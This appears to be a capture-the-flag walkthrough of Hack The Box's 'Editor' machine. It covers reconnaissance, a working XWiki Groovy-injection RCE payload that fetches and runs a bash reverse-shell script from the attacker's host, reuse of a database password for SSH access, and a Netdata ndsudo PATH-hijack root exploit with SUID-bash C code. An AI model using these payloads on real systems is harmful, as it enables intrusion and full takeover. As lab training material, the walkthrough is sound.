Description

Editor is an easy Hack The Box machine that features:

  • XWiki Remote Command Execution vulnerability
  • User Pivoting via a reused credential from a MySQL database
  • Privilege Escalation via netdata binary with SUID bit set and PATH manipulation

Footprinting

First, we are going to check with ping command if the machine is active and the system operating system. The target machine IP address is 10.129.209.7.

$ ping -c 3 10.129.209.7
PING 10.129.209.7 (10.129.209.7) 56(84) bytes of data.
64 bytes from 10.129.209.7: icmp_seq=1 ttl=63 time=46.7 ms
64 bytes from 10.129.209.7: icmp_seq=2 ttl=63 time=46.6 ms
64 bytes from 10.129.209.7: icmp_seq=3 ttl=63 time=46.6 ms

--- 10.129.209.7 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2004ms
rtt min/avg/max/mdev = 46.625/46.646/46.666/0.016 ms

The machine is active and with the TTL that equals 63 (64 minus 1 jump) we can assure that it is an Unix machine. Now we are going to do a Nmap TCP SYN port scan to check all opened ports.

$ sudo nmap 10.129.209.7 -sS -Pn -oN nmap_scan
Starting Nmap 7.94SVN ( https://nmap.org )
Nmap scan report for 10.129.209.7
Host is up (0.052s latency).
Not shown: 997 closed tcp ports (reset)
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
8080/tcp open  http-proxy

Nmap done: 1 IP address (1 host up) scanned in 1.00 seconds

We get three open ports, 22, 80 and 8080.

Enumeration

Then we do a more advanced scan, with service version and scripts.

$ nmap 10.129.209.7 -Pn -sV -sC -p22,80,8080 -oN nmap_scan_ports
Starting Nmap 7.94SVN ( https://nmap.org )
Nmap scan report for 10.129.209.7
Host is up (0.050s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_  256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp   open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://editor.htb/
8080/tcp open  http    Jetty 10.0.20
| http-title: XWiki - Main - Intro
|_Requested resource was http://10.129.209.7:8080/xwiki/bin/view/Main/
| http-robots.txt: 50 disallowed entries (15 shown)
| /xwiki/bin/viewattachrev/ /xwiki/bin/viewrev/ 
| /xwiki/bin/pdf/ /xwiki/bin/edit/ /xwiki/bin/create/ 
| /xwiki/bin/inline/ /xwiki/bin/preview/ /xwiki/bin/save/ 
| /xwiki/bin/saveandcontinue/ /xwiki/bin/rollback/ /xwiki/bin/deleteversions/ 
| /xwiki/bin/cancel/ /xwiki/bin/delete/ /xwiki/bin/deletespace/ 
|_/xwiki/bin/undelete/
| http-cookie-flags: 
|   /: 
|     JSESSIONID: 
|_      httponly flag not set
| http-webdav-scan: 
|   WebDAV type: Unknown
|   Server Type: Jetty(10.0.20)
|_  Allowed Methods: OPTIONS, GET, HEAD, PROPFIND, LOCK, UNLOCK
|_http-server-header: Jetty(10.0.20)
| http-methods: 
|_  Potentially risky methods: PROPFIND LOCK UNLOCK
|_http-open-proxy: Proxy might be redirecting requests
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.26 seconds

We get the SSH service and the two HTTP services. We find the editor.htb subdomain, we add it to the /etc/hosts file.

echo "10.129.209.7 editor.htb" | sudo tee -a /etc/hosts

We find a website about a code editor. In the top we find a link to a documentation page, wiki.editor.htb. We add it to our /etc/hosts file.

echo "10.129.209.7 wiki.editor.htb" | sudo tee -a /etc/hosts

Then we find XWiki software in its 15.10.8 version (it is found at the footer of the page).

Exploitation

CVE-2025-24893 is a critical unauthenticated remote code execution (RCE) vulnerability in XWiki, a popular open-source enterprise wiki platform. The flaw resides in how the SolrSearch macro improperly handles Groovy expressions inside search queries. This allows unauthenticated attackers to execute arbitrary Groovy code remotely, without any authentication or prior access. Affected versions are all versions prior to 15.10.11, 16.4.1, and 16.5.0RC1. We have a proof of concept in the OffSec blog. We are going to start by creating a Bash script file with our reverse shell.

$ cat script.sh
/bin/bash -i >& /dev/tcp/10.10.14.61/1234 0>&1

Then we start a HTTP service, for example, by using Python.

python -m http.server 80

We will run the following commands in the remote machine.

wget -O /tmp/script.sh 10.10.14.61/script.sh
bash /tmp/script.sh

We will use curl to trigger the vulnerability, but firstly we start the listening port.

$ nc -nvlp 1234

In the request we use this payload for the request. We will replace <COMMAND_TO_RUN_URL_ENCODED> string.

/xwiki/bin/get/Main/SolrSearch?media=rss&text=%7d%7d%7d%7b%7basync%20async%3dfalse%7d%7d%7b%7bgroovy%7d%7dprintln(%22<COMMAND_TO_RUN_URL_ENCODED>%22.execute().text)%7b%7b%2fgroovy%7d%7d%7b%7b%2fasync%7d%7d

We run the HTTP requests.

$ curl 'http://wiki.editor.htb/xwiki/bin/get/Main/SolrSearch?media=rss&text=%7d%7d%7d%7b%7basync%20async%3dfalse%7d%7d%7b%7bgroovy%7d%7dprintln(%22wget%20-O%20%2ftmp%2fscript.sh%2010.10.14.61%2fscript.sh%22.execute().text)%7b%7b%2fgroovy%7d%7d%7b%7b%2fasync%7d%7d'
$ curl 'http://wiki.editor.htb/xwiki/bin/get/Main/SolrSearch?media=rss&text=%7d%7d%7d%7b%7basync%20async%3dfalse%7d%7d%7b%7bgroovy%7d%7dprintln(%22bash%20%2ftmp%2fscript.sh%22.execute().text)%7b%7b%2fgroovy%7d%7d%7b%7b%2fasync%7d%7d'

We receive the reverse shell as the xwiki user, we upgrade it.

$ nc -nvlp 1234 
listening on [any] 1234 ...
connect to [10.10.14.61] from (UNKNOWN) [10.129.209.7] 51734
bash: cannot set terminal process group (1119): Inappropriate ioctl for device
bash: no job control in this shell
xwiki@editor:/usr/lib/xwiki-jetty$ script /dev/null -c bash
script /dev/null -c bash
Script started, output log file is '/dev/null'.
xwiki@editor:/usr/lib/xwiki-jetty$ ^Z
$ stty raw -echo; fg
$ reset xterm
xwiki@editor:/usr/lib/xwiki-jetty$ export SHELL=bash; export TERM=xterm; stty rows 48 columns 156

Post-Exploitation

We find another console user, oliver.

xwiki@editor:/usr/lib/xwiki-jetty$ grep sh /etc/passwd
root:x:0:0:root:/root:/bin/bash
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
fwupd-refresh:x:112:118:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
oliver:x:1000:1000:,,,:/home/oliver:/bin/bash

We find the configuration about the database used in XWiki in the /etc/xwiki/hibernate.cfg.xml.

...
xwiki@editor:/usr/lib/xwiki-jetty$ cat /etc/xwiki/hibernate.cfg.xml
<property name="hibernate.connection.url">jdbc:mysql://localhost/xwiki?useSSL=false&amp;connectionTimeZone=LOCAL&amp;allowPublicKeyRetrieval=true</property>
    <property name="hibernate.connection.username">xwiki</property>
    <property name="hibernate.connection.password">theEd1t0rTeam99</property>
    <property name="hibernate.connection.driver_class">com.mysql.cj.jdbc.Driver</property>
    <property name="hibernate.dbcp.poolPreparedStatements">true</property>
    <property name="hibernate.dbcp.maxOpenPreparedStatements">20</property>

    <property name="hibernate.connection.charSet">UTF-8</property>
    <property name="hibernate.connection.useUnicode">true</property>
    <property name="hibernate.connection.characterEncoding">utf8</property>
...

We find that the application is using a MySQL database xwiki, with the xwiki user and theEd1t0rTeam99 password. We find that the password is reused for the oliver user and we can login using the SSH protocol.

$ ssh oliver@editor.htb
oliver@editor.htb's password:
...
oliver@editor:~$ id
uid=1000(oliver) gid=1000(oliver) groups=1000(oliver),999(netdata)

We find that oliver is part of the netdata group. Netdata is located in the /opt/netdata directory in its v1.45.2 version.

oliver@editor:~$ ls /opt/netdata/
bin  etc  netdata-configs  netdata-dbs  netdata-logs  netdata-metrics  netdata-plugins  netdata-web-files  sbin  share  system  usr  var
oliver@editor:~$ /opt/netdata/bin/netdata -v
netdata v1.45.2

The ndsudo tool shipped with affected versions (>= v1.45.0, < v1.45.3) of the Netdata Agent allows an attacker to run arbitrary programs with root permissions, CVE-2024-32019. The ndsudo tool is packaged as a root-owned executable with the SUID bit set. It only runs a restricted set of external commands, but its search paths are supplied by the PATH environment variable. This allows an attacker to control where ndsudo looks for these commands, which may be a path the attacker has write access to. We find that it is true and as oliver belongs to the netdata group, he can run the binary.

oliver@editor:~$ ls -la /opt/netdata/usr/libexec/netdata/plugins.d/ndsudo
-rwsr-x--- 1 root netdata 200576 Apr  1  2024 /opt/netdata/usr/libexec/netdata/plugins.d/ndsudo

We will code a C program that will create a copy of the Bash binary with the SUID bit set and owned by root. We will compile it with the nvme name.

$ cat exploit.c
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>

int main() {
    const char *cmd = "cp /bin/bash /tmp/suid-bash; chown root:root /tmp/suid-bash; chmod u+s /tmp/suid-bash";
    execl("/bin/bash", "bash", "-p", "-c", cmd, (char *)NULL);
    return 0;
}
$ gcc -o nvme exploit.c

We host it in a HTTP server, we download it in the home directory of oliver user, and we give it execute permissions

oliver@editor:~$ wget http://10.10.14.61/nvme; chmod +x nvme

Then we run the ndsudo command with the PATH specified.

oliver@editor:~$ PATH=$PATH:/home/oliver /opt/netdata/usr/libexec/netdata/plugins.d/ndsudo nvme-list

The SUID Bash file is created and we can spawn a root shell.

oliver@editor:~$ /tmp/suid-bash -p

Flags

In the root shell we can retrieve the flags.

uid-bash-5.1# cat /home/oliver/user.txt
<REDACTED>
uid-bash-5.1# cat /root/root.txt 
<REDACTED>
```